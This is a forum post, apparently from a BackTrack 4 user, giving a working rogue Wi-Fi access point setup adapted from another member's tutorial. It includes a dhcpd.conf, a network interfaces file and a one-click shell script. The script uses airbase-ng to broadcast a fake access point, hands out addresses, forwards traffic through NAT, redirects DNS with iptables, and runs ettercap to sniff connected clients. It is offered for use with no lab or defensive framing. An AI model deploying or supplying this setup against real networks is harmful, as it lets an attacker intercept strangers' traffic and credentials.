Ok, first off this code is from Deathray's post here http://forums.remote-exploit.org/backtrack...g-tutorial.html
The code didn’t work for me with the new dhcp3 and bt4 so I re-did some work and got it working. So here are my changes.
I am using eth0 for my internet connection and wlan0 for the ap
First:
You need to edit your /etc/dhcp3/dhcpd.conf file. I am using the following:
option domain-name-servers 10.0.0.1;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 208.67.222.222, 208.67.220.220;
}
Second:
Edit your interface file at /etc/network/interfaces
Mine looks like this:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet dhcp
auto eth2
iface eth2 inet dhcp
auto ath0
iface ath0 inet dhcp
auto wlan0
iface wlan0 inet static
address 192.168.0.1
network 192.168.0.1/24
netmask 255.255.255.0
Broadcast 192.168.0.254
Third:
Use this code in an .sh file to run it all with one click
kill `cat /var/run/dhcpd.pid`
killall -9 dhcpd3 airbase-ng ettercap
airmon-ng stop wlan0
ifconfig wlan0 down
airmon-ng start wlan0
modprobe tun
konsole -e airbase-ng -e wifitest -v mon0 &
sleep 10
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/
sleep 5
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcd.pid at0
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.0.1
echo > /var/lib/dhcp3/dhcpd.leases
konsole -e dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0
konsole -e ettercap -T -q -p -i at0 // // &
sleep 3
That is all and it works fine for me. But for those who are familiar with this, go ahead and look through and find some places to change, i have only been doing this for a few days. Remember credit goes to Deathray, i just changed it to work with dchp3 and bt4 on my machine.